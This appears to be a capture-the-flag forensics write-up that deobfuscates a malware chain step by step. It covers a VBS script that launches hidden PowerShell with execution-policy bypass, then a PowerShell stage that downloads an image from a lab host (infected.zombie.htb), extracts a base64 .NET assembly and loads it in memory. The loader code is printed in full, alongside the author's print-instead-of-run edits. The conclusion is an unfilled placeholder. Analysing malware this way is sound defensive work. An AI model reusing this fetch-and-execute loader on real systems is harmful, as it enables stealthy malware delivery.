"([ZjJMuHOyfLrFRZQLRAMTQIJoIsDKygFhOhIUsFhmYGpMtHYXYriuBkzrHlGxHgtwOVBcJpaoSYXwYihoBDwDRSCDEGplfmoDjPrgYmdejlOxRRTwXXqUxtEpkdbzFGZtRYqCBgefVWmDfUZnbLpaQQTIAMcveTJekTjNZjNfCJawQsxvvTLaqAKZUciNlCQgVQFoKfnXYUTpOaNcbqsaDpdjNnDjVORkrLmnSCXRqVNBLINqTtavYGXNKmWkKgLUKpRuknZYdiovnqyjTDXTaRYzrOrPtPSPEkGydtHpsDzuMmtvwWDgfonHmlbiWofBzfzWwPCyghETBLJtSXhZTtTQIJoIsDKygFhOhIUsFhmYGpMtHYXYriuBkzrHlGxHgtwOVBcJpaoSYXwYihoBD"
tomqOXAFzrtBfQNTWGTuDgkLdYgzpoJtKGfuDsVESyJFHtcTuIutPkyuVQpwGLbFvLzIXmwguYvYDQgGkwihbveHvvcwfRqtjiREeQFyWwImwPIYWQUCUkxpKztLmHwNlIJgvNGzLQmRPuWNmhjWkXYLnDNfNpXwZwmVMhIMMViCmFVUKhHgGZowKY = tomqOXAFzrtBfQNTWGTuDgkLdYgzpoJtKGfuDsVESyJFHtcTuIutPkyuVQpwGLbFvLzIXmwguYvYDQgGkwihbveHvvcwfRqtjiREeQFyWwImwPIYWQUCUkxpKztLmHwNlIJgvNGzLQmRPuWNmhjWkXYLnDNfNpXwZwmVMhIMMViCmFVUKhHgGZowKY & "wDRSCDEGplfmoDjPrgYmdejlOxRRTwXXqUxtEpkdbzFGZtRYqCBgefVWmDfUZnbLpaQQTIAMcveTJekTjNZjNfCJawQsxvvTLaqAKZUciNlCQgVQFoKfnXYUTpOaNcbqsaDpdjNnDJymwidWxlLmZRoJmxzHcFtMNHFLqYxcpgFpHTQIJoIsDKygFhOhIUsFhmYGpMtHYXYriuBkzrHlGxHgtwOVBcJpaoSYXwYihoBDwDRSCDEGplfmoDjPrgYmdejlOxRRTwXXqUxtEpkdbzFGZtRYqCBgefVWmDfUZnbLpaQQTIAMcveTJekTjNZjNfCJawQsxvvTLaqAKZUciNlCQgVQFoKfnXYUTpOaNcbqsaDpdjNnDIhwiWILHovZEyZuwgHbTGwMVrwwjpWojiu"

It is possible to meticulously work through and rename the variables in this script, but it would be incredibly time consuming and difficult to do without making errors.

Fortunately, for this particular script, there is a way around this. Let’s review the last few lines of code:

tomqOXAFzrtBfQNTWGTuDgkLdYgzpoJtKGfuDsVESyJFHtcTuIutPkyuVQpwGLbFvLzIXmwguYvYDQgGkwihbveHvvcwfRqtjiREeQFyWwImwPIYWQUCUkxpKztLmHwNlIJgvNGzLQmRPuWNmhjWkXYLnDNfNpXwZwmVMhIMMViCmFVUKhHgGZowKY = tomqOXAFzrtBfQNTWGTuDgkLdYgzpoJtKGfuDsVESyJFHtcTuIutPkyuVQpwGLbFvLzIXmwguYvYDQgGkwihbveHvvcwfRqtjiREeQFyWwImwPIYWQUCUkxpKztLmHwNlIJgvNGzLQmRPuWNmhjWkXYLnDNfNpXwZwmVMhIMMViCmFVUKhHgGZowKY & StrReverse("'DxujWO$ dnammoc- eliforPoN- ssapyb ycilopnoitucexe- neddih elytswodniw- exe.llehsrewop")
ESyJFHtcTuIutPkyuVQpwGLbFvLzIXmwguYvYDQgGkwihbveHvvcwfRqtjiREeQFyWwImwPIYWQUCUkxpKztLmHwNlIJgvNGzLQmRP.Run "powershell -command " & tomqOXAFzrtBfQNTWGTuDgkLdYgzpoJtKGfuDsVESyJFHtcTuIutPkyuVQpwGLbFvLzIXmwguYvYDQgGkwihbveHvvcwfRqtjiREeQFyWwImwPIYWQUCUkxpKztLmHwNlIJgvNGzLQmRPuWNmhjWkXYLnDNfNpXwZwmVMhIMMViCmFVUKhHgGZowKY, 0, False

If you rename the large variable here to something like script-contents and the variable proceeding .Run to WScript (which commonly preceeds .Run in VBS scripts) it becomes even clearer:

script_contents = script_contents & StrReverse("'DxujWO$ dnammoc- eliforPoN- ssapyb ycilopnoitucexe- neddih elytswodniw- exe.llehsrewop")
WScript.Run "powershell -command " & script_contents, 0, False

This VBS script is assembling a PowerShell script, and executing it directly into memory! This is a common technique to bypass antivirus and other security controls.

Now, rather than trying to rename all of the variables in the VBS script, let’s modify the final line of code to print the PowerShell script to stdout rather than executing it:

script_contents = script_contents & StrReverse("'DxujWO$ dnammoc- eliforPoN- ssapyb ycilopnoitucexe- neddih elytswodniw- exe.llehsrewop")
WScript.Echo "powershell -command " & script_contents, 0, False

Now, when we run the script (on an air-gapped VM of course, just in case), we another obfuscated PowerShell script printed to our screen.

PowerShell Rev Part 2

This PowerShell script is also obfuscated, and consists of a single incredibly long line of code. Rather than trying to rename all of the variables in this script, let’s look at the end of the script again to see if the same trick of modifying an execute to a print statement will work.

$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string($codigo.replace(''em9tYmllc'',''A'')));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD' 0 0

Excellent, that should work! This script is executing another PowerShell script, which is stored in the variable $OWjuxd. Let’s modify the script to print the contents of the variable, rather than executing it:

$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string($codigo.replace(''em9tYmllc'',''A''))) > outagain.txt'

Now, when we run the script, we get another obfuscated PowerShell script printed to a text file.

PowerShell Rev Part 3

We finally have a PowerShell script that is not obfuscated! Let’s take a look at the script:

$imageUrl = 'http://infected.zombie.htb/WJveX71agmOQ6Gw_1698762642.jpg';
$webClient = New-Object System.Net.WebClient;
$imageBytes = $webClient.DownloadData($imageUrl);
$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);
$startFlag = '<<BASE64_START>>';
$endFlag = '<<BASE64_END>>';
$startIndex = $imageText.IndexOf($startFlag);
$endIndex = $imageText.IndexOf($endFlag);
$startIndex -ge 0 -and $endIndex -gt $startIndex;
$startIndex += $startFlag.Length;
$base64Length = $endIndex - $startIndex;
$base64Command = $imageText.Substring($startIndex, $base64Length);
$commandBytes = [System.Convert]::FromBase64String($base64Command);
$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);
$type = $loadedAssembly.GetType('Fiber.Home');
$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('ZDVkZmYyMWIxN2VlLTFmNDgtNWM3NC1jOTM0LWQ3M2MyYTYzPW5la290JmFpZGVtPXRsYT90eHQucmVmc25hcnQvby9tb2MudG9wc3BwYS5mOTNjNi1nbmlrY2FoL2IvMHYvbW9jLnNpcGFlbGdvb2cuZWdhcm90c2VzYWJlcmlmLy86c3B0dGg=' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'));

This script is downloading an image from a web server, and then executing a method from a .NET assembly that is stored in the binary of image itself. Let’s take a look at the image:

Image

Nothing special there, but that’s not suprising considering that the only point of the image is to conceal the binary within it.

We could manually extract the binary from the image, but since we already have the above PowerShell script, we can just keep doing what we’ve been doing and modify the script to print the contents of the binary, rather than executing it:

$imageUrl = 'http://infected.zombie.htb:56398/WJveX71agmOQ6Gw_1698762642.jpg';
$webClient = New-Object System.Net.WebClient;
$imageBytes = $webClient.DownloadData($imageUrl);
$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);
$startFlag = '<<BASE64_START>>';
$endFlag = '<<BASE64_END>>';
$startIndex = $imageText.IndexOf($startFlag);
$endIndex = $imageText.IndexOf($endFlag);
$startIndex -ge 0 -and $endIndex -gt $startIndex;
$startIndex += $startFlag.Length;
$base64Length = $endIndex - $startIndex;
$base64Command = $imageText.Substring($startIndex, $base64Length);
$commandBytes = [System.Convert]::FromBase64String($base64Command);
$loadedAssembly = [System.Reflection.Assembly]::LoadFrom('./netbin2.exe');
$type = $loadedAssembly.GetType('Fiber.Home');
# $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('ZDVkZmYyMWIxN2VlLTFmNDgtNWM3NC1jOTM0LWQ3M2MyYTYzPW5la290JmFpZGVtPXRsYT90eHQucmVmc25hcnQvby9tb2MudG9wc3BwYS5mOTNjNi1nbmlrY2FoL2IvMHYvbW9jLnNpcGFlbGdvb2cuZWdhcm90c2VzYWJlcmlmLy86c3B0dGg=' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))

Write-Output $type

If we run the above script and redirect it to a file, we get a .NET binary file that we can analyze in dotPeek.

dotPeek

dotPeek is a free .NET decompiler that can be used to analyze .NET binaries. Let’s open the binary in dotPeek and see what we can find.

Conclusion

Conclusion of the post

writeups dfir
Table of Contents